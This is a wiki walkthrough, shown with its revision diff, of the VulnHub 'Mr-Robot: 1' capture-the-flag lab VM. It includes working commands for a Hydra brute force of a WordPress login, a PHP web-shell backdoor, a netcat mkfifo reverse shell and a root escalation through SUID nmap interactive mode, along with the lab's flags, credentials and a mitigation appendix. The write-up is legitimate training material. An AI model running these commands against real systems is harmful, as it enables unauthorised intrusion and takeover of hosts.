Difference between revisions of "Mr-Robot: 1 ~ VulnHub - Walkthrough"
(Created page with "Category:Pentesting == Objective == Source: https://www.vulnhub.com/entry/basic-pentesting-1,216/: VulnHub.com Status: [<span style="color:red">Work in progress</s...") |
m (→Objective) |
||
(30 intermediate revisions by the same user not shown) | |||
Line 1: | Line 1: | ||
[[Category:Pentesting]] | [[Category:Pentesting]] | ||
== Objective == | == Objective == | ||
− | |||
− | + | Find three hidden flags. Acquire 'root' access | |
− | Status: [<span style="color: | + | Source: [[https://www.vulnhub.com/entry/mr-robot-1,151/ VulnHub.com]] |
+ | |||
+ | Status: [<span style="color:green">Completed</span>] | ||
== Methodology == | == Methodology == | ||
=== Discovery === | === Discovery === | ||
+ | <syntaxhighlight lang=shell-session highlight="8,9,10" line> | ||
+ | root@kali:~# nmap -O -sT -sV -p- -T5 192.168.56.108 | ||
+ | |||
+ | Starting Nmap 7.60 ( https://nmap.org ) at 2018-05-14 22:45 EDT | ||
+ | Nmap scan report for 192.168.56.108 | ||
+ | Host is up (0.0011s latency). | ||
+ | Not shown: 65532 filtered ports | ||
+ | PORT STATE SERVICE VERSION | ||
+ | 22/tcp closed ssh | ||
+ | 80/tcp open http Apache httpd | ||
+ | 443/tcp open ssl/http Apache httpd | ||
+ | MAC Address: 08:00:27:B4:E3:34 (Oracle VirtualBox virtual NIC) | ||
+ | Device type: general purpose | ||
+ | Running: Linux 3.X|4.X | ||
+ | OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 | ||
+ | OS details: Linux 3.10 - 4.8 | ||
+ | ... | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | === Entry Point #1 - Port 80 (HTTP) === | ||
+ | ==== Enumeration ==== | ||
+ | <syntaxhighlight lang=shell-session highlight="14,30" line> | ||
+ | root@kali:~ # nikto -h 192.168.56.108 | ||
+ | - Nikto v2.1.6 | ||
+ | --------------------------------------------------------------------------- | ||
+ | + Target IP: 192.168.56.108 | ||
+ | + Target Hostname: 192.168.56.108 | ||
+ | + Target Port: 80 | ||
+ | + Start Time: 2018-05-13 15:46:30 (GMT-4) | ||
+ | --------------------------------------------------------------------------- | ||
+ | + Server: Apache | ||
+ | + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS | ||
+ | + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type | ||
+ | + Retrieved x-powered-by header: PHP/5.5.29 | ||
+ | + No CGI Directories found (use '-C all' to force check all possible dirs) | ||
+ | + Server leaks inodes via ETags, header found with file /robots.txt, fields: 0x29 0x52467010ef8ad | ||
+ | + Uncommon header 'tcn' found, with contents: list | ||
+ | + Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html, index.php | ||
+ | + OSVDB-3092: /admin/: This might be interesting... | ||
+ | + OSVDB-3092: /readme: This might be interesting... | ||
+ | + Uncommon header 'link' found, with contents: <http://192.168.56.108/?p=23>; rel=shortlink | ||
+ | + OSVDB-5089: /admin/system.php3?cmd=cat%20/etc/passwd: DotBr 0.1 allows remote command execution. | ||
+ | + OSVDB-5090: /admin/exec.php3?cmd=cat%20/etc/passwd: DotBr 0.1 allows remote command execution. | ||
+ | + /wp-links-opml.php: This WordPress script reveals the installed version. | ||
+ | + OSVDB-3092: /license.txt: License file found may identify site software. | ||
+ | + /admin/index.html: Admin login page/section found. | ||
+ | + Cookie wordpress_test_cookie created without the httponly flag | ||
+ | + /wp-login/: Admin login page/section found. | ||
+ | + /wordpress/: A Wordpress installation was found. | ||
+ | + /wp-admin/wp-login.php: Wordpress login found | ||
+ | + /blog/wp-login.php: Wordpress login found | ||
+ | + /wp-login.php: Wordpress login found | ||
+ | + 7536 requests: 1 error(s) and 20 item(s) reported on remote host | ||
+ | + End Time: 2018-05-13 15:50:06 (GMT-4) (216 seconds) | ||
+ | --------------------------------------------------------------------------- | ||
+ | + 1 host(s) tested | ||
+ | </syntaxhighlight> | ||
+ | Two things pop up - a possible WP installation and robots. txt. | ||
+ | |||
+ | Manually trying default some standard credentials at '/wp-login.php' didn't bring any success so let's take a look around | ||
+ | |||
+ | <syntaxhighlight lang=shell-session highlight="3,4" line> | ||
+ | root@kali:~# curl http://192.168.56.108/robots.txt | ||
+ | User-agent: * | ||
+ | fsocity.dic | ||
+ | key-1-of-3.txt | ||
+ | </syntaxhighlight> | ||
+ | * '''Key 1: 073403c8a58a1f80d943455fb30724b9''' | ||
+ | |||
+ | Now, what else do we have here? list of users? passwords? | ||
+ | <syntaxhighlight lang="shell-session" highlight="6,12,27,28" line> | ||
+ | root@kali:~# wget http://192.168.56.108/fsocity.dic | ||
+ | --2018-05-13 15:53:47-- http://192.168.56.108/fsocity.dic | ||
+ | Connecting to 192.168.56.108:80... connected. | ||
+ | HTTP request sent, awaiting response... 200 OK | ||
+ | Length: 7245381 (6.9M) [text/x-c] | ||
+ | Saving to: ‘fsocity.dic’ | ||
+ | .... | ||
+ | root@kali:~ # wc -l fsocity.dic | ||
+ | 858160 fsocity.dic | ||
+ | root@kali:~# sort -u fsocity.dic > fsocity.dic.sorted | ||
+ | root@kali:~# wc -l fsocity.dic.sorted | ||
+ | 11451 fsocity.dic.sorted | ||
+ | root@kali:~# head -15 fsocity.dic | ||
+ | true | ||
+ | false | ||
+ | wikia | ||
+ | from | ||
+ | the | ||
+ | now | ||
+ | Wikia | ||
+ | extensions | ||
+ | scss | ||
+ | window | ||
+ | http | ||
+ | var | ||
+ | page | ||
+ | Robot | ||
+ | Elliot | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Alright! We have good stuff! Let's now put it to use. First let's check if any of those can be used to log in to the WordPress admin console. | ||
+ | |||
+ | I'm going to utilize ''Hydra'' which is a threaded login cracker, to check these these against our target. | ||
+ | |||
+ | First we need the query string passed to the server after "Submit" is pressed on the log in form. Loade /wp-admin in the browser, fired up my ZAP in ''intercept'' mode, provided junk credentials ''asdf'', ''zxcv'', hit ''Submit''. According to what was intercepted by ''ZAP'', our query string looks like this: | ||
+ | |||
+ | <syntaxhighlight lang=shell-session highlight="" line> | ||
+ | /wp-login.php?log=asdf&pwd=zxcv&wp-submit=Log In&testcookie=1 | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Now use ''Hydra'' to iterate through the fsocity.dic.sorted building username/pass combinations, passing it to the query string above. | ||
+ | |||
+ | <syntaxhighlight lang=shell-session highlight="" line> | ||
+ | root@kali:~# hydra -u -L fsocity.dic.sorted -P fsocity.dic.sorted 192.168.56.103 -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=incorrect' | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Note the ''S=incorrect'' - this is where we tell ''Hydra'' to continue because the username/password combination was incorrect - the target returned ''incorrect'' as part of the response. | ||
+ | |||
+ | Depending on the size of the dictionary, this may take from a few minutes to a couple of hours. You also have an option to pause the scan and pick up where you left off later. | ||
+ | |||
+ | After about 35 mins I got a set of valid creds. The Login part turned out to be an obvious choice and if I tried that one manually before kicking off ''Hydra'' I would've saved myself quite some time (if either username or pass is known you can pass it to hydra via -l or -p respectively) | ||
+ | |||
+ | * '''login: elliot password: ER28-0652''' | ||
+ | ==== Exploitation ==== | ||
+ | '''Setting up the stage''' | ||
+ | * Login to the WordPress using the above credentials | ||
+ | * Upload our backdoor [[ WordPress Plugin - shell.php (variant_1) ]] | ||
+ | * Test the backdoor | ||
+ | <syntaxhighlight lang=shell-session highlight="" line> | ||
+ | root@kali:# curl -G "http://192.168.56.107/wp-content/plugins/shell1/shell.php" --data-urlencode "cmd=cat /etc/passwd" |head -5 | ||
+ | root:x:0:0:root:/root:/bin/bash | ||
+ | daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin | ||
+ | bin:x:2:2:bin:/bin:/usr/sbin/nologin | ||
+ | sys:x:3:3:sys:/dev:/usr/sbin/nologin | ||
+ | sync:x:4:65534:sync:/bin:/bin/sync | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Looks good - we can execute remote commands. | ||
+ | |||
+ | '''Gaining shell access''' | ||
+ | |||
+ | Term 1: Start '''nc''' in listening mode | ||
+ | <syntaxhighlight lang=shell-session highlight="" line> | ||
+ | root@kali:~# nc -vvvlt -p 4444 | ||
+ | listening on [any] 4444 ... | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Term 2: Execute remote shell command | ||
+ | <syntaxhighlight lang=shell-session highlight="" line> | ||
+ | root@kali:~# curl -G "http://192.168.56.108/wp-content/plugins/shell/shell.php" --data-urlencode "cmd=rm -f /tmp/backpipe; mkfifo /tmp/backpipe; cat /tmp/backpipe | /bin/sh -i 2>&1|nc 192.168.56.200 4444 >/tmp/backpipe" | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Term 1: Acknowledge reverse shell connection and spawn new ''tty'' so we can interact with it properly | ||
+ | <syntaxhighlight lang=shell-session highlight="" line> | ||
+ | root@kali:~ # nc -vvvlt -p 4444 | ||
+ | listening on [any] 4444 ... | ||
+ | connect to [192.168.56.200] from robot [192.168.56.108] 49714 | ||
+ | /bin/sh: 0: can't access tty; job control turned off | ||
+ | $ python -c 'import pty; pty.spawn("/bin/bash")' | ||
+ | |||
+ | daemon@linux:/var/www $ | ||
+ | </syntaxhighlight> | ||
− | + | Now let's she what we got?! | |
+ | ''' Taking over the host ''' | ||
+ | <syntaxhighlight lang=shell-session highlight="" line> | ||
+ | daemon@linux:/var/www $ ls /home | ||
+ | robot | ||
+ | ... | ||
+ | daemon@linux:/home/robot$ ls -arlth | ||
+ | ls -arlth | ||
+ | total 16K | ||
+ | drwxr-xr-x 3 root root 4.0K Nov 13 2015 .. | ||
+ | drwxr-xr-x 2 root root 4.0K Nov 13 2015 . | ||
+ | -r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt | ||
+ | -rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5 | ||
+ | |||
+ | daemon@linux:/home/robot$ cat password.raw-md5 | ||
+ | robot:c3fcd3d76192e4007dfb496cca67e13b | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | My initial plan was to crack the pass with ''john'' so I kicked it off | ||
+ | <syntaxhighlight lang=shell-session highlight="" line> | ||
+ | root@kali:~ # john --format=raw-MD5 robot.pwd | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | While that was taking it's sweet time I googled the md5 hash from the file and guess what - a match. | ||
+ | |||
+ | * '''abcdefghijklmnopqrstuvwxyz''' | ||
+ | |||
+ | <syntaxhighlight lang=shell-session highlight="" line> | ||
+ | $ su robot | ||
+ | su robot | ||
+ | Password: abcdefghijklmnopqrstuvwxyz | ||
+ | |||
+ | robot@linux:~$ | ||
+ | |||
+ | robot@linux:~$ cat key-2* | ||
+ | cat key-2* | ||
+ | 822c73956184f694993bede3eb39f959 | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | * '''Key #2 - 822c73956184f694993bede3eb39f959''' | ||
+ | |||
+ | It's all nice but we need ''root''! | ||
+ | |||
+ | After an hour of poking around looking for hidden, encrypted, scrambled, etc files which may hold the pass, even checked the database - nothing. It's time to do get the work done ourselves. Let's start by looking for SUID executables. | ||
+ | |||
+ | <syntaxhighlight lang=shell-session highlight="14" line> | ||
+ | bash-4.3$ find / -perm -4000 -print 2>/dev/null | ||
+ | find / -perm -4000 -print 2>/dev/null | ||
+ | /bin/ping | ||
+ | /bin/umount | ||
+ | /bin/mount | ||
+ | /bin/ping6 | ||
+ | /bin/su | ||
+ | /usr/bin/passwd | ||
+ | /usr/bin/newgrp | ||
+ | /usr/bin/chsh | ||
+ | /usr/bin/chfn | ||
+ | /usr/bin/gpasswd | ||
+ | /usr/bin/sudo | ||
+ | /usr/local/bin/nmap | ||
+ | /usr/lib/openssh/ssh-keysign | ||
+ | /usr/lib/eject/dmcrypt-get-device | ||
+ | /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper | ||
+ | /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper | ||
+ | /usr/lib/pt_chown | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | That ''/usr/local/bin/nmap'' looks interesting - ''/usr/local'' is where custom, user-owned, often manually-compiled software is usually installed and chances are it is not up-to-date. | ||
+ | |||
+ | Old versions of ''nmap'' provided interactive mode which allowed executing external commands. Since binary has SUID set, any command executed as sub-process will inherit the executing permissions (in simple words - will be executed as root, too) - for more see [[ SUID / GUID Primer ]] | ||
+ | |||
+ | <syntaxhighlight lang=shell-session highlight="" line> | ||
+ | bash-4.3$ /usr/local/bin/nmap --interactive | ||
+ | |||
+ | Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ ) | ||
+ | Welcome to Interactive Mode -- press h <enter> for help | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Ok! Looks promising! | ||
+ | |||
+ | <syntaxhighlight lang=shell-session highlight="" line> | ||
+ | nmap> !sh | ||
+ | # id | ||
+ | uid=1002(robot) gid=1002(robot) euid=0(root) groups=0(root),1002(robot) | ||
+ | # pwd | ||
+ | /root | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | ''' We have root! ''' | ||
+ | |||
+ | Let's last key and wrap it up | ||
+ | |||
+ | <syntaxhighlight lang=shell-session highlight="" line> | ||
+ | # cat key* | ||
+ | 04787ddef27c3dee1ee161b21670b4e4 | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | *''' Key 3: 04787ddef27c3dee1ee161b21670b4e4''' | ||
+ | |||
+ | == Final Notes == | ||
+ | This was my first CTF VM to root (took me a while to finally document it properly). What surprised me back then was how much can be done with just a few simple tools like curl and nmap. | ||
− | |||
== Appendix A: Vulnerability Detail and Mitigation == | == Appendix A: Vulnerability Detail and Mitigation == | ||
{| class="wikitable" style="background-color:#cccccc;color:black;font-size:0.9em;width:80%;" | {| class="wikitable" style="background-color:#cccccc;color:black;font-size:0.9em;width:80%;" | ||
− | |+ style="color:#e76700;text-align:left;" | | + | |+ style="color:#e76700;text-align:left;" | Insufficiently Protected User Credentials |
|- | |- | ||
|style="width:120px;" |Rating | |style="width:120px;" |Rating | ||
Line 22: | Line 285: | ||
|- | |- | ||
|Description | |Description | ||
− | | | + | |A copy of md5-hashed password was found inside a file stored under /home/robot |
|- | |- | ||
|Impact | |Impact | ||
− | | | + | |Taking over an account would allow perpetrator to access all privileges and functions granted to that account, including but not limited to access accessing restricted data and processes, running restricted programs, elevated access through sudo roles. |
|- | |- | ||
|Remediation | |Remediation | ||
− | | | + | |Put policies in place educating users about dangers of storing credentials in unprotected files. Establish a process to perform periodic system scans to detect such data. |
|} | |} | ||
− | |||
{| class="wikitable" style="background-color:#cccccc;color:black;font-size:0.9em;width:80%;" | {| class="wikitable" style="background-color:#cccccc;color:black;font-size:0.9em;width:80%;" | ||
− | |+ style="color:#e76700;text-align:left;" | | + | |+ style="color:#e76700;text-align:left;" | Unpatched Software Components |
|- | |- | ||
|style="width:120px;" |Rating | |style="width:120px;" |Rating | ||
Line 39: | Line 301: | ||
|- | |- | ||
|Description | |Description | ||
− | | | + | |nmap V3.81 was found installed on the host. nmap versions prior to 5.35DC1 support interactive mode which allows executing remote commands. Since nmap has SUID bit set, such commands will be executed as root. |
|- | |- | ||
|Impact | |Impact | ||
− | | | + | |Allowing an unprivileged account to get a root shell. |
|- | |- | ||
|Remediation | |Remediation | ||
− | | | + | |Ensure all of the software installed on a host is up to date. Put a process in place to perform periodic system scans to detect outdated software. |
|} | |} |
Latest revision as of 18:45, 15 May 2018
Contents
Objective
Find three hidden flags. Acquire 'root' access
Source: [VulnHub.com]
Status: [Completed]
Methodology
Discovery
root@kali:~# nmap -O -sT -sV -p- -T5 192.168.56.108
Starting Nmap 7.60 ( https://nmap.org ) at 2018-05-14 22:45 EDT
Nmap scan report for 192.168.56.108
Host is up (0.0011s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
443/tcp open ssl/http Apache httpd
MAC Address: 08:00:27:B4:E3:34 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.8
...
Entry Point #1 - Port 80 (HTTP)
Enumeration
root@kali:~ # nikto -h 192.168.56.108
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.56.108
+ Target Hostname: 192.168.56.108
+ Target Port: 80
+ Start Time: 2018-05-13 15:46:30 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Retrieved x-powered-by header: PHP/5.5.29
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server leaks inodes via ETags, header found with file /robots.txt, fields: 0x29 0x52467010ef8ad
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html, index.php
+ OSVDB-3092: /admin/: This might be interesting...
+ OSVDB-3092: /readme: This might be interesting...
+ Uncommon header 'link' found, with contents: <http://192.168.56.108/?p=23>; rel=shortlink
+ OSVDB-5089: /admin/system.php3?cmd=cat%20/etc/passwd: DotBr 0.1 allows remote command execution.
+ OSVDB-5090: /admin/exec.php3?cmd=cat%20/etc/passwd: DotBr 0.1 allows remote command execution.
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ /admin/index.html: Admin login page/section found.
+ Cookie wordpress_test_cookie created without the httponly flag
+ /wp-login/: Admin login page/section found.
+ /wordpress/: A Wordpress installation was found.
+ /wp-admin/wp-login.php: Wordpress login found
+ /blog/wp-login.php: Wordpress login found
+ /wp-login.php: Wordpress login found
+ 7536 requests: 1 error(s) and 20 item(s) reported on remote host
+ End Time: 2018-05-13 15:50:06 (GMT-4) (216 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Two things pop up - a possible WP installation and robots. txt.
Manually trying default some standard credentials at '/wp-login.php' didn't bring any success so let's take a look around
root@kali:~# curl http://192.168.56.108/robots.txt
User-agent: *
fsocity.dic
key-1-of-3.txt
- Key 1: 073403c8a58a1f80d943455fb30724b9
Now, what else do we have here? list of users? passwords?
root@kali:~# wget http://192.168.56.108/fsocity.dic
--2018-05-13 15:53:47-- http://192.168.56.108/fsocity.dic
Connecting to 192.168.56.108:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7245381 (6.9M) [text/x-c]
Saving to: ‘fsocity.dic’
....
root@kali:~ # wc -l fsocity.dic
858160 fsocity.dic
root@kali:~# sort -u fsocity.dic > fsocity.dic.sorted
root@kali:~# wc -l fsocity.dic.sorted
11451 fsocity.dic.sorted
root@kali:~# head -15 fsocity.dic
true
false
wikia
from
the
now
Wikia
extensions
scss
window
http
var
page
Robot
Elliot
Alright! We have good stuff! Let's now put it to use. First let's check if any of those can be used to log in to the WordPress admin console.
I'm going to utilize Hydra which is a threaded login cracker, to check these these against our target.
First we need the query string passed to the server after "Submit" is pressed on the log in form. Loade /wp-admin in the browser, fired up my ZAP in intercept mode, provided junk credentials asdf, zxcv, hit Submit. According to what was intercepted by ZAP, our query string looks like this:
/wp-login.php?log=asdf&pwd=zxcv&wp-submit=Log In&testcookie=1
Now use Hydra to iterate through the fsocity.dic.sorted building username/pass combinations, passing it to the query string above.
root@kali:~# hydra -u -L fsocity.dic.sorted -P fsocity.dic.sorted 192.168.56.103 -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=incorrect'
Note the S=incorrect - this is where we tell Hydra to continue because the username/password combination was incorrect - the target returned incorrect as part of the response.
Depending on the size of the dictionary, this may take from a few minutes to a couple of hours. You also have an option to pause the scan and pick up where you left off later.
After about 35 mins I got a set of valid creds. The Login part turned out to be an obvious choice and if I tried that one manually before kicking off Hydra I would've saved myself quite some time (if either username or pass is known you can pass it to hydra via -l or -p respectively)
- login: elliot password: ER28-0652
Exploitation
Setting up the stage
- Login to the WordPress using the above credentials
- Upload our backdoor WordPress Plugin - shell.php (variant_1)
- Test the backdoor
root@kali:# curl -G "http://192.168.56.107/wp-content/plugins/shell1/shell.php" --data-urlencode "cmd=cat /etc/passwd" |head -5
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
Looks good - we can execute remote commands.
Gaining shell access
Term 1: Start nc in listening mode
root@kali:~# nc -vvvlt -p 4444
listening on [any] 4444 ...
Term 2: Execute remote shell command
root@kali:~# curl -G "http://192.168.56.108/wp-content/plugins/shell/shell.php" --data-urlencode "cmd=rm -f /tmp/backpipe; mkfifo /tmp/backpipe; cat /tmp/backpipe | /bin/sh -i 2>&1|nc 192.168.56.200 4444 >/tmp/backpipe"
Term 1: Acknowledge reverse shell connection and spawn new tty so we can interact with it properly
root@kali:~ # nc -vvvlt -p 4444
listening on [any] 4444 ...
connect to [192.168.56.200] from robot [192.168.56.108] 49714
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty; pty.spawn("/bin/bash")'
daemon@linux:/var/www $
Now let's she what we got?!
Taking over the host
daemon@linux:/var/www $ ls /home
robot
...
daemon@linux:/home/robot$ ls -arlth
ls -arlth
total 16K
drwxr-xr-x 3 root root 4.0K Nov 13 2015 ..
drwxr-xr-x 2 root root 4.0K Nov 13 2015 .
-r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5
daemon@linux:/home/robot$ cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
My initial plan was to crack the pass with john so I kicked it off
root@kali:~ # john --format=raw-MD5 robot.pwd
While that was taking it's sweet time I googled the md5 hash from the file and guess what - a match.
- abcdefghijklmnopqrstuvwxyz
$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz
robot@linux:~$
robot@linux:~$ cat key-2*
cat key-2*
822c73956184f694993bede3eb39f959
- Key #2 - 822c73956184f694993bede3eb39f959
It's all nice but we need root!
After an hour of poking around looking for hidden, encrypted, scrambled, etc files which may hold the pass, even checked the database - nothing. It's time to do get the work done ourselves. Let's start by looking for SUID executables.
bash-4.3$ find / -perm -4000 -print 2>/dev/null
find / -perm -4000 -print 2>/dev/null
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown
That /usr/local/bin/nmap looks interesting - /usr/local is where custom, user-owned, often manually-compiled software is usually installed and chances are it is not up-to-date.
Old versions of nmap provided interactive mode which allowed executing external commands. Since binary has SUID set, any command executed as sub-process will inherit the executing permissions (in simple words - will be executed as root, too) - for more see SUID / GUID Primer
bash-4.3$ /usr/local/bin/nmap --interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
Ok! Looks promising!
nmap> !sh
# id
uid=1002(robot) gid=1002(robot) euid=0(root) groups=0(root),1002(robot)
# pwd
/root
We have root!
Let's last key and wrap it up
# cat key*
04787ddef27c3dee1ee161b21670b4e4
- Key 3: 04787ddef27c3dee1ee161b21670b4e4
Final Notes
This was my first CTF VM to root (took me a while to finally document it properly). What surprised me back then was how much can be done with just a few simple tools like curl and nmap.
Appendix A: Vulnerability Detail and Mitigation
Rating | High |
Description | A copy of md5-hashed password was found inside a file stored under /home/robot |
Impact | Taking over an account would allow perpetrator to access all privileges and functions granted to that account, including but not limited to access accessing restricted data and processes, running restricted programs, elevated access through sudo roles. |
Remediation | Put policies in place educating users about dangers of storing credentials in unprotected files. Establish a process to perform periodic system scans to detect such data. |
Rating | High |
Description | nmap V3.81 was found installed on the host. nmap versions prior to 5.35DC1 support interactive mode which allows executing remote commands. Since nmap has SUID bit set, such commands will be executed as root. |
Impact | Allowing an unprivileged account to get a root shell. |
Remediation | Ensure all of the software installed on a host is up to date. Put a process in place to perform periodic system scans to detect outdated software. |